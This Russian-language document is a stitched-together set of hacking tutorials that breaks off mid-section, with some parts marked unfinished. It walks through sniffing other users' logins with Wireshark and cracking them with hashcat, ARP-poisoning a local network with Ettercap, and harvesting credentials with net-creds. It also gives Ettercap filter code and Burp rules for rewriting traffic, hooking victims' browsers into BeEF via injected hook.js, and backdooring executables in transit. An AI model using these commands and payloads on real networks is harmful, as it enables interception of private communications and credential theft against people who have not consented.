Easy Hack: Хакерские секреты простых вещей. Перехват данных из SSL-соединения (читаем почту юзеров локалки через https) Подцепление BeEF с помощью Burp

Среди задач информационной безопасности всё важнее и важнее становится борьба с утечками конфиденциальных сведений. Согласно открытым источникам, за прошедший 2016 год количество утечек увеличилось на 86%, причём с этой проблемой столкнулись 47% российских компаний самого разного профиля. Данная проблема решается с помощью систем класса DLP (Data Loss Prevention). В статье рассматривается реализация одного из модулей такой системы, обеспечивающего мониторинг SSL/TLS-трафика путём перехвата системных функций Windows.

Борьба с утечками важной информации требует мониторинга сетевого траффика. Это подразумевает анализ всех данных, передаваемых по сети самыми различными способами, в том числе и данных, передаваемых в зашифрованном виде по SSL/TLS протоколу.

Перехват данных, передаваемых по протоколу SSL/TLS, возможен с помощью атаки типа «человека посредине» (man-in-the-midle, или сокращённо MITM). Для этого система мониторинга выступает в качестве посредника между клиентом и сервером. Вся информация от клиента сначала попадает посреднику (т.е. системе мониторинга), а затем переправляется серверу. И наоборот, вся информация от сервера сначала попадает посреднику, а затем переправляется клиенту.

Рис 1. Атака типа «человек посредине»

Простейший способ «внедрения» посредника основан на использовании промежуточного сервера (proxy-сервера). В этом случае клиент и сервер не взаимодействуют напрямую. Клиент отправляет все запросы промежуточному серверу, который переправляет их уже реальному серверу. Аналогично, реальный сервер отправляет ответы промежуточному серверу, который пересылает их клиенту.

Если данные передаются с использованием SSL/TLS, то оба соединения (и от клиента к промежуточному серверу, и от промежуточного сервера к реальному серверу) являются защищёнными. В обоих соединениях используется свой собственный сертификат и свой собственный закрытый ключ. Промежуточный сервер обладает закрытыми ключами для обоих соединений и осуществляет «перешифрацию» данных: принимает зашифрованные данные, дешифрует их, шифрует с помощью другого закрытого ключа и, наконец, отправляет дальше. Таким образом, промежуточный сервер располагает всеми передаваемыми данными в незашифрованном виде.

Использование промежуточного сервера имеет два важных недостатка. Во-первых, он может оказаться слишком заметным для конечного пользователя. Во-вторых, если промежуточный сервер запускается на клиентской машине, то на уровне ОС количество открытых сетевых соединений удваивается. Это создаёт дополнительную нагрузку на сетевую подсистему ОС и может приводить к сбоям в тех случаях, когда требуется большое количество одновременно открытых сетевых соединений.

Перехват вызовов системных функций даёт более элегантный и незаметный способ внедрения посредника. Для этого система мониторинга подключается к уже запущенному процессу и для него подменяет системные функции, используемые при сетевом взаимодействии. Далее, когда процесс обращается к перехваченным системным функциям – управление передаётся системе мониторинга. Таким образом, она полностью контролирует сетевые действия процесса и может выступать в качестве посредника при взаимодействии процесса с удалённым сервером.

Рис 2. Атака типа «человек посредине» с помощью библиотеки-посредника, перехватывающей системные функции

Запуск системы мониторинга SSL/TLS траффика происходит с помощью трёх простых шагов:
1. Подключение к указанному клиентскому процессу (используются стандартные возможности ОС).
2. Подгрузка динамической библиотеки-посредника, в которой реализованы собственные функции сетевого взаимодействия.
3. Настройка перехвата функций сетевого взаимодействия таким образом, чтобы при вызове этих функции происходило обращение не к системным функциям, а к функциям, реализованным в подгруженной библиотеке.

Библиотека-посредник обладает теми же возможностями, что и промежуточный сервер. Так, вся информация от клиентского приложения сначала попадает библиотеке-посреднику, а затем переправляется реальному серверу. И наоборот, вся информация от реального сервера сначала попадает библиотеке-посреднику, а затем переправляется приложению.

Рис 3. Перехват данных библиотекой-посредником

Для взаимодействия с сервером библиотека-посредник использует стандартные системные функции и механизмы. Если информация передаётся с помощью SSL/TLS, то используется защищённое соединение, которое устанавливается библиотекой-посредником. После установки соединения библиотека-посредник «знает» закрытый ключ, используемый для шифрации/дешифрации данных.

Взаимодействие с клиентским приложением происходит несколько иным способом. Библиотека-посредник получает управление, когда клиентское приложение вызывает некоторую функцию сетевого взаимодействия. Если вызываемая функция имеет входные аргументы, то библиотека-посредник получает значения этих аргументов. Далее, библиотека-посредник «эмулирует» работу этой функции и, если функция имеет выходные аргументы, то библиотека-посредник формирует значения этих аргументов. Такая логика распространяется на абсолютно все перехватываемые функции, в том числе функции установки соединения, передачи данных и получения ответов сервера.

Библиотека-посредник одновременно взаимодействует и с клиентским приложением, и с удалённым сервером. Логика работы зависит от действий, выполняемых клиентским приложением:

1. Установка нового сетевого соединения происходит следующим образом:
- приложение вызывает необходимую системную функцию;
- вызов передаётся библиотеке-посреднику;
- библиотека-посредник устанавливает соединение с сервером, при этом самостоятельно выполняет все действия, предусмотренные протоколом SSL/TLS: проверку сертификата сервера, отправку собственного сертификата, «рукопожатие», генерацию закрытого ключа и т.д.
- библиотека-посредник возвращает управление приложению;
- приложение выполняет все действия, необходимые для установки соединения по протоколу SSL/TLS, вызывая функции сетевого взаимодействия. Библиотека-посредник перехватывает все эти вызовы, но не делает никаких обращений к реальному серверу, а самостоятельно «отвечает» приложению. С точки зрения приложения всё выглядит так, как будто происходит взаимодействие с реальным сервером (в т.ч. «рукопожатие» и генерация закрытого ключа).
В результате проделанных действий библиотека-посредник располагает сразу двумя закрытыми ключами протокола SSL/TLS. Один ключ используется для взаимодействия с приложением, другой – сервером.

2. Для передачи данных серверу приложение вызывает системную функцию. На вход функции передаются уже зашифрованные данные. Библиотека-посредник перехватывает этот вызов и делает следующее:
- дешифрует передаваемые данные с помощью закрытого ключа, полученного при установке соединения с приложением;
- шифрует полученные данные с помощью закрытого ключа, полученного при установке соединения с сервером;
- отправляет зашифрованные данные на сервер.

3. Получение данных от сервера происходит похожим образом, но в обратном порядке. Приложение вызывает функцию получения данных, а библиотека-посредник перехватывает этот вызов и делает следующее:
- получает порцию данных от сервера;
- дешифрует полученные данные с помощью закрытого ключа, полученного при установке соединения с сервером;
- шифрует полученные данные с помощью закрытого ключа, полученного при установке соединения с приложением;
- возвращает шифрованные данные (или их часть) как результат работы функции.

4. При разрыве соединения приложение вызывает соответствующую функцию. Библиотека-посредник перехватывает этот вызов, разрывает соединение с сервером, удаляет свои внутренние структуры и возвращает управление приложению.

Техническая реализация предложенного способа перехвата траффика имеет ряд сложностей. Приложение может использовать различные способы сетевого взаимодействия (блокирующий и неблокирующий режим, асинхронный режим работы и т.д.). В полноценной системе мониторинга необходимо учесть все возможные сценарии поведения приложения. В противном случае система мониторинга окажется неработоспособной.

Более серьёзная проблема состоит в том, что наличие библиотеки-посредника может быть заметно для опытного пользователя. Библиотека-посредник «отвечает» приложению от имени сервера, но при этом использует собственный самоподписанный сертификат. Многие клиентские приложения (например, интернет-браузеры) корректно работают с самоподписанным сертификатом сервера, но всегда позволяют его просмотреть. Если пользователь видит самоподписанный сертификат, не имеющий никакого отношения к реальному серверу, то пользовать может заподозрить о наличии посредника.

В целом, предложенный способ мониторинга TLS/SSL траффика крайне эффективен по нескольким причинам. Во-первых, библиотека выступает в качестве полноценного посредника между приложением и сервером. Она полностью контролирует и всю сетевую активность приложения, и все отправляемые/принимаемые данные. Во-вторых, внедрение библиотеки-посредника не требует значительных системных ресурсов. Наконец, наличие библиотеки-посредника заметно только для опытного пользователя.

Многие пользователи и не догадываются, что заполняя логин и пароль при регистрации или авторизации на закрытом Интернет-ресурсе и нажимая ENTER, эти данные легко могут перехватить. Очень часто они передаются по сети не в защищенном виде. Поэтому если сайт, на котором вы пытаетесь авторизоваться, использует HTTP протокол, то очень просто выполнить захват этого трафика, проанализировать его с помощью Wireshark и далее с помощью специальных фильтров и программ найти и расшифровать пароль.

Лучшее место для перехвата паролей - ядро сети, где ходит трафик всех пользователей к закрытым ресурсам (например, почта) или перед маршрутизатором для выхода в Интернет, при регистрациях на внешних ресурсах. Настраиваем зеркало и мы готовы почувствовать себя хакером.

Шаг 1. Устанавливаем и запускаем Wireshark для захвата трафика

Иногда для этого достаточно выбрать только интерфейс, через который мы планируем захват трафика, и нажать кнопку Start. В нашем случае делаем захват по беспроводной сети.

Захват трафика начался.

Шаг 2. Фильтрация захваченного POST трафика

Открываем браузер и пытаемся авторизоваться на каком-либо ресурсе с помощью логина и пароля. По завершению процесса авторизации и открытия сайта мы останавливаем захват трафика в Wireshark. Далее открываем анализатор протоколов и видим большое количество пакетов. Именно на этом этапе большинство ИТ-специалистов сдаются, так как не знают, что делать дальше. Но мы знаем и нас интересуют конкретные пакеты, которые содержат POST данные, которые формируются на нашей локальной машине при заполнении формы на экране и отправляются на удаленные сервер при нажатии кнопки «Вход» или «Авторизация» в браузере.

Вводим в окне специальный фильтр для отображения захваченных пакетов: http. request. method == “ POST”

И видим вместо тысячи пакетов, всего один с искомыми нами данными.

Шаг 3. Находим логин и пароль пользователя

Быстрый клик правой кнопки мыши и выбираем из меню пункт Follow TCP Steam

После этого в новом окне появится текст, который в коде восстанавливает содержимое страницы. Найдем поля «password» и «user», которые соответствуют паролю и имени пользователя. В некоторых случаях оба поля будут легко читаемы и даже не зашифрованы, но если мы пытаемся захватить трафик при обращении к очень известным ресурсам типа: Mail.ru, Facebook, Вконтакте и т.д., то пароль будет закодирован:

HTTP/1.1 302 Found

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Set-Cookie: password=; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

Location: loggedin.php

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Таким образом, в нашем случае:

Имя пользователя: networkguru

Пароль:

Шаг 4. Определение типа кодирования для расшифровки пароля

Заходим, например, на сайт http://www.onlinehashcrack.com/hash-identification.php#res и вводим наш пароль в окно для идентификации. Мне выдан был список протоколов кодирования в порядке приоритета:

Шаг 5. Расшифровка пароля пользователя

На данном этапе можем воспользоваться утилитой hashcat:

~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

На выходе мы получили расшифрованным пароль: simplepassword

Таким образом, с помощью Wireshark мы можем не только решать проблемы в работе приложений и сервисов, но и также попробовать себя в роли хакера, осуществляя перехват паролей, которые пользователи вводят в веб-формах. Также можно узнавать и пароли к почтовым ящикам пользователей, используя незатейливые фильтры для отображения:

Протокол POP и фильтр выглядит следующим образом: pop.request.command == "USER" || pop.request.command == "PASS"
Протокол IMAP и фильтр будет: imap.request contains "login"
Протокол SMTP и потребуется ввод следующего фильтра: smtp.req.command == "AUTH"

и более серьезные утилиты для расшифровки протокола кодирования.

Шаг 6. Что делать, если трафик зашифрован и используется HTTPS?

Для ответа на этот вопрос есть несколько вариантов.

Вариант 1. Подключиться в разрыв соединения между пользователем и сервером и захватить трафик в момент установления соединения (SSL Handshake). В момент установки соединения можно перехватить сеансовый ключ.

Вариант 2. Вы можете расшифровать трафик HTTPS, используя файл журнала сеансовых ключей, записываемый Firefox или Chrome. Для этого браузер должен быть настроен на запись этих ключей шифрования в файл журнала (пример на базе FireFox), и вы должны получить этот файл журнала. По сути, необходимо похитить файл с ключом сессии с жесткого диска другого пользователя (что является незаконным). Ну а далее захватить трафик и применить полученный ключ для его расшифровки.

Уточнение. Мы говорим о веб-браузере человека, у которого пытаются украсть пароль. Если же мы подразумеваем расшифровку нашего собственного HTTPS трафика и хотим потренироваться, то эта стратегия будет работать. Если вы пытаетесь расшифровать HTTPS трафик других пользователей без доступа к их компьютерам, это не сработает - на то оно и шифрование, и личное пространство.

После получения ключей по варианту 1 или 2 необходимо прописать их в WireShark:

Идем в меню Edit - Preferences - Protocols - SSL.

Ставим флаг «Reassemble SSL records spanning multiple TCP segments».

«RSA keys list» и нажимаем Edit.

Вводим данные во все поля и прописываем путь в файлу с ключом

Альтернативы Ettercap

Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX - одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата - это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

Net-Creds снифит:

Посещённые URL
отправленные запросы POST
логины/пароли из форм HTTP
логины/пароли при базовой HTTP аутентификации
поиски HTTP
логины/пароли FTP
логины/пароли IRC
логины/пароли POP
логины/пароли IMAP
логины/пароли Telnet
логины/пароли SMTP
SNMP community string (общую строку)
все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
Kerberos

Хорошая подборка перехватываемых, а driftnet в этом плане попроще - только показывает перехваченные изображения.

Переключите вашу машину в режим пересылки (форвардинга).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем Ettercap с графическим интерфейсом (-G ):

Ettercap -G

Теперь выбираем Hosts , в нём подпункт Scan for hosts . После окончания сканирования выберите Hosts list :

В качестве Цели1 выберите роутер (Add to Target 1 ), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2 ).

Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

Если провести сканирование с помощью , то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

Nmap -sn 192.168.1.0/24

Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

Nmap -O 192.168.1.0/24

Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? 😉 LOL

Именно её мы и добавляем в качестве второй цели.

Теперь переходим к пункту меню Mitm . Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections .

Начинаем собирать урожай, в одном окне запускаем

Net-creds

в другом (обе программы можно запускать без опций)

Driftnet

Сразу же пошёл сбор данных:

В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

1.2 Ettercap + Burp Suite
3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

В меню View нам доступны вкладки Connections и Profiles . Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections - это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

Не надо слишком сильно полагаться именно на профили - помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

В Connections самые перспективные данные помечены звёздочкой:

Можно кликнуть два раза на эти записи для просмотра подробностей:

Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

Пойманная базовая аутентификация:

Логин-пароль для Яндекса (выделено внизу):

Это перехваченные учётные данные для Вконтакте:

Также самые интересные данные собираются в нижней консоли:

Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

Опции ведения журналов: -w, --write записать перехваченные данные в pcapfile -L, --log записать весь трафик в этот -l, --log-info записать только пассивную информацию в этот -m, --log-msg записать все сообщения в этот -c, --compress использовать сжатие gzip для файлов логов

4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

В общем, если у вас фильтры не заработали - то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter . Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

В файл с именем img_replacer.filter скопируйте:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }

Скомпилируйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

Ettercap -G -F img_replacer.ef

Примечание : Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); } }

Синтаксис написания фильтров подробно описан , а далее ещё несколько примеров:

# замена текста в пакете: if (ip.proto == TCP && search(DATA.data, "lol")){ replace("lol", "smh"); msg("filter ran"); } # показать сообщение, если tcp портом является 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # записать весь telnet трафик, также выполнить./program на каждый пакет if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, "./logfile.log"); } # некоторые операции с полезной нагрузкой пакетов if (DATA.data + 20 == 0x4142) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # отбросить все пакеты, содержащие "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # убийство пакетов if (ip.ttl < 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Подмена данных с помощью Burp

Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options . Находим там Match and Replace . Нажимаем Add для добавления нового правила.

Request header - это заголовок запроса
Request body - тело запроса
Response header - заголовок ответа
Response body - тело ответа
Request param name - Имя параметра запроса
Request param value - Значение параметра запроса
Request first line - Первая строка запроса

Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует - этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю.)))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

No Title

Поставьте галочку на Regex match .

Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

Поставьте галочку на Regex match .

В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст - что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым - всё зависит от вашей фантазии.

Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ - то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF

Чтобы начать использовать возможности BeEF , нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

Следующие два метода различаются только методом внедрения этой строки.

5.1 Подцепление BeEF с помощью фильтров Ettercap

[раздел будет подготовлен позже]

5.2 Подцепление BeEF с помощью Burp

Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:

В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена

Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

6. Заражение бэкдорами

Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy . К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory : в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite. Пошаговый алгоритм представлен , не имеет смысла ещё раз его переписывать в этот раздел.

7. Использование плагинов Ettercap

Информацию о плагинах Ettercap можно найти . Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:

P, --plugin запустить этот

Также плагины можно загрузить из графического интерфейса:

[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop

Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

Ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 ...........................

7.2 autoadd

Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison

Он выполняет проверку - успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof

